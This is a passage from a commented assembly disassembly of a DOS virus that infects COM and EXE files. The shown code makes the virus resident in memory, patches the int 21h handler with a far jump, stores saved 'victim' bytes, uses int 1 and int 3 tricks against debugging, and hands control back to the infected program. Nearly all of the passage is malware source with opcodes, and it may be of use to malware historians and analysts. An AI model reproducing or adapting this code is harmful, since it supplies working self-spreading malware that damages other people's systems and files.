mov byte ptr cs:[429h],al ;l_17A8+1 ;180B 2E: A2 0429
|
||
mov al,es:[di+1] ;180F 26: 8A 45 01
|
||
mov byte ptr cs:[42Ah],al ;l_17A8+2 ;1813 2E: A2 042A
|
||
jmp short l_1821 ;1817 EB 08
|
||
nop ;1819 90
|
||
|
||
;<- allready resident
|
||
l_181A: jmp short l_1870 ;-> EXIT ;181A EB 54
|
||
nop ;181C 90
|
||
|
||
d_049D dw 140Dh ;address to jump1 into ;181D 0D 14
|
||
d_049F dw 0278h ;old int 21h segment ;181F 78 02
|
||
|
||
l_1821: mov ax,di ;1821 8B C7
|
||
add ax,4 ;next to conditional jmp;1823 05 0004
|
||
xor bx,bx ;1826 33 DB
|
||
mov bl,es:[di+3] ;jump length ;1828 26: 8A 5D 03
|
||
add ax,bx ;jump address ;182C 03 C3
|
||
mov word ptr ds:[49Dh],ax ;l_181D ;182E A3 049D
|
||
cmp byte ptr es:[di+3],80h ;1831 26: 80 7D 03 80
|
||
jb l_183E ;-> forward jump ;1836 72 06
|
||
;<- jump backwards
|
||
sub ax,100h ;minus carry ;1838 2D 0100
|
||
mov word ptr ds:[49Dh],ax ;l_181D ;183B A3 049D
|
||
l_183E: add di,4 ;second condition addrs ;183E 83 C7 04
|
||
mov word ptr ds:[547h],di ;1841 89 3E 0547
|
||
sub di,5 ;<- area to substitute ;1845 83 EF 05
|
||
push es ;1848 06
|
||
push di ;1849 57
|
||
mov dx,9800h ;resident virus segment ;184A BA 9800
|
||
mov word ptr cs:[4F5h],dx ;184D 2E: 89 16 04F5
|
||
mov es,dx ;1852 8E C2
|
||
xor si,si ;1854 33 F6
|
||
xor di,di ;1856 33 FF
|
||
mov cx,612h ;l_1380 -> l_1992 ;1858 B9 0612
|
||
rep movsb ;copy virus code ;185B F3/ A4
|
||
|
||
;<----- take control over int 21h
|
||
lea cx,cs:[413h] ;offset l_1793 ;185D 8D 0E 0413
|
||
mov word ptr ds:[4F3h],cx ;1861 89 0E 04F3
|
||
pop di ;1865 5F
|
||
pop es ;1866 07
|
||
mov cx,5 ;1867 B9 0005
|
||
lea si,cs:[4F2h] ;offset l_1792 ;186A 8D 36 04F2
|
||
rep movsb ;186E F3/ A4
|
||
l_1870: sti ;1870 FB
|
||
retn ;1871 C3
|
||
s_17BB endp
|
||
|
||
;<---- instruction pattern to write over int 21h code
|
||
d_04F2 db 0EAh ;JMP FAR 9800:l_1793 ;1872 EA
|
||
d_04F3 dw 0 ;:= offset l_1793 ;1873 00 00
|
||
d_04F5 dw 9800h ;resident virus segment ;1875 00 98
|
||
|
||
;================================================
|
||
; saved 32 victim bytes
|
||
;------------------------------------------------
|
||
d_04F7 db 0E9h,0FFh,11h ;1877 E9 FF 11
|
||
db 'Converted',0,0,0,0 ;187A 43 6F 6E 76 65 72
|
||
;1880 74 65 64 00 00 00 00
|
||
db 'MZ' ;1887 4D 5A
|
||
db 0EAh,01h,09h,00h,08h,00h ;1889 EA 01 09 00 08 00
|
||
db 20h,00h,00h,00h,0FFh,0FFh ;188F 20 00 00 00 FF FF
|
||
db 98h,00h ;1895 98 00 00
|
||
|
||
;-----------------------------------
|
||
db 48 dup (0) ;not used ;1897 0030[00]
|
||
|
||
d_0547 dw 146Ch ;address to jump2 into ;18C7 6C 14
|
||
d_0549 dw 0278h ;old int 21h segment ;18C9 78 02
|
||
|
||
;<------ code writed to in case of paragraf alignement
|
||
db 0E9h ;jmp l_18CF ;18CB E9
|
||
d_054C dw 052Ch ;distance of jump ;18CC 2C 05
|
||
db 0 ;18CE 00
|
||
|
||
;================================================================
|
||
; EXE virus entry
|
||
;----------------------------------------------------------------
|
||
l_18CF: push bx ;18CF 53
|
||
push cx ;18D0 51
|
||
push es ;18D1 06
|
||
push ds ;18D2 1E
|
||
pushf ;18D3 9C
|
||
mov ax,cs ;18D4 8C C8
|
||
mov ds,ax ;18D6 8E D8
|
||
call s_1938 ;make virus resident ;18D8 E8 005D
|
||
cmp byte ptr ds:[349h],0FFh ;l_16C9 (0FFh=COM) ;18DB 80 3E 0349 FF
|
||
je l_18E5 ;18E0 74 03
|
||
jmp short l_1953 ;-> ? ;18E2 EB 6F
|
||
nop ;18E4 90
|
||
|
||
;================================================================
|
||
; End of virus code - file *.COM
|
||
;----------------------------------------------------------------
|
||
l_18E5: popf ;18E5 9D
|
||
pop ds ;18E6 1F
|
||
pop es ;18E7 07
|
||
pop cx ;18E8 59
|
||
pop bx ;18E9 5B
|
||
mov word ptr cs:[5B4h],100h ;l_1934 = victim IP ;18EA 2E: C7 06 05B4 0100
|
||
mov ax,es ;18F1 8C C0
|
||
mov word ptr cs:[5B6h],ax ;l_1936 = victim CS ;18F3 2E: A3 05B6
|
||
call s_16CA ;init registers ;18F7 E8 FDD0
|
||
jmp dword ptr cs:[5B4h] ;l_1934 -> run victim ;18FA 2E: FF 2E 05B4
|
||
|
||
;<--- victim name
|
||
d_057F db 'A:\SYS.COM' ;18FF 41 3A 5C 53 59 53
|
||
;1905 2E 43 4F 4D
|
||
db 0,'XE',0,'E',0 ;1909 00 58 45 00 45 00
|
||
db 9 dup (0) ;190F 0009[00]
|
||
|
||
;================================================================
|
||
; ANTYDEBUG - make virus resident
|
||
;----------------------------------------------------------------
|
||
s_1918 proc near
|
||
cmp ax,3000h ;1918 3D 3000
|
||
jne l_1925 ;-> int 3 ;191B 75 08
|
||
call s_17BB ;-> make virus resident ;191D E8 FE9B
|
||
retn ;1920 C3
|
||
s_1918 endp
|
||
|
||
d_05A1 dw 002Ah ;victim SS (rel) ;1921 2A 00
|
||
d_05A3 dw 1388h ;victim SP ;1923 88 13
|
||
|
||
;================================================================
|
||
; ANTYDEBUG - call int 3 (Breakpoint)
|
||
;----------------------------------------------------------------
|
||
s_1925 proc near
|
||
l_1925: mov ax,3000h ;Flag register ;1925 B8 3000
|
||
push ax ;1928 50
|
||
l_1929: call dword ptr es:[0Ch] ;int 3 (Breakpoint) ;1929 26: FF 1E 000C
|
||
cmp ax,3000h ;192E 3D 3000
|
||
jne l_1929 ;1931 75 F6
|
||
retn ;1933 C3
|
||
s_1925 endp
|
||
|
||
d_05B4 dw 0000h ;victim IP ;1934 00 00
|
||
d_05B6 dw 000Bh ;victim CS (rel) ;1936 0B 00
|
||
|
||
;================================================================
|
||
; Make virus resident
|
||
;----------------------------------------------------------------
|
||
s_1938 proc near
|
||
push es ;1938 06
|
||
call s_1948 ;-> INT 1 (single step) ;1939 E8 000C
|
||
cmp ax,0 ;193C 3D 0000
|
||
jne l_1947 ;193F 75 06
|
||
call s_1925 ;-> INT 3 (Breakpoint) ;1941 E8 FFE1
|
||
call s_1918 ;-> reside virus ;1944 E8 FFD1
|
||
l_1947: pop es ;1947 07
|
||
|
||
;================================================================
|
||
; ANTYDEBUG - call int 1 = Single Step
|
||
;----------------------------------------------------------------
|
||
s_1948: pushf ;1948 9C
|
||
xor ax,ax ;1949 33 C0
|
||
mov es,ax ;194B 8E C0
|
||
call dword ptr es:[4h] ;int 1 ;194D 26: FF 1E 0004
|
||
retn ;1952 C3
|
||
s_1938 endp
|
||
|
||
;================================================================
|
||
; End of virus code - file *.EXE
|
||
;----------------------------------------------------------------
|
||
l_1953: popf ;1953 9D
|
||
pop ds ;1954 1F
|
||
pop es ;1955 07
|
||
pop cx ;1956 59
|
||
pop bx ;1957 5B
|
||
mov ax,es ;1958 8C C0
|
||
add ax,10h ;relocating value ;195A 05 0010
|
||
mov dx,ax ;195D 8B D0
|
||
mov bp,word ptr cs:[5A1h] ;l_1921 = victim SS ;195F 2E: 8B 2E 05A1
|
||
add bp,ax ;1964 03 E8
|
||
mov ss,bp ;1966 8E D5
|
||
mov bp,word ptr cs:[5A3h] ;l_1923 = victim SP ;1968 2E: 8B 2E 05A3
|
||
mov sp,bp ;196D 8B E5
|
||
mov ax,dx ;196F 8B C2
|
||
add word ptr cs:[5B6h],ax ;l_1936 - CS relocation ;1971 2E: 01 06 05B6
|
||
call s_16CA ;init registers ;1976 E8 FD51
|
||
jmp dword ptr cs:[5B4h] ;-> run victim ;1979 2E: FF 2E 05B4
|
||
|
||
db 20 dup (0) ;COM file stack ;197E 0014[00]
|
||
|
||
d_0612 label byte ;1992h
|
||
|
||
seg_a ends
|
||
|
||
end start
|
||
|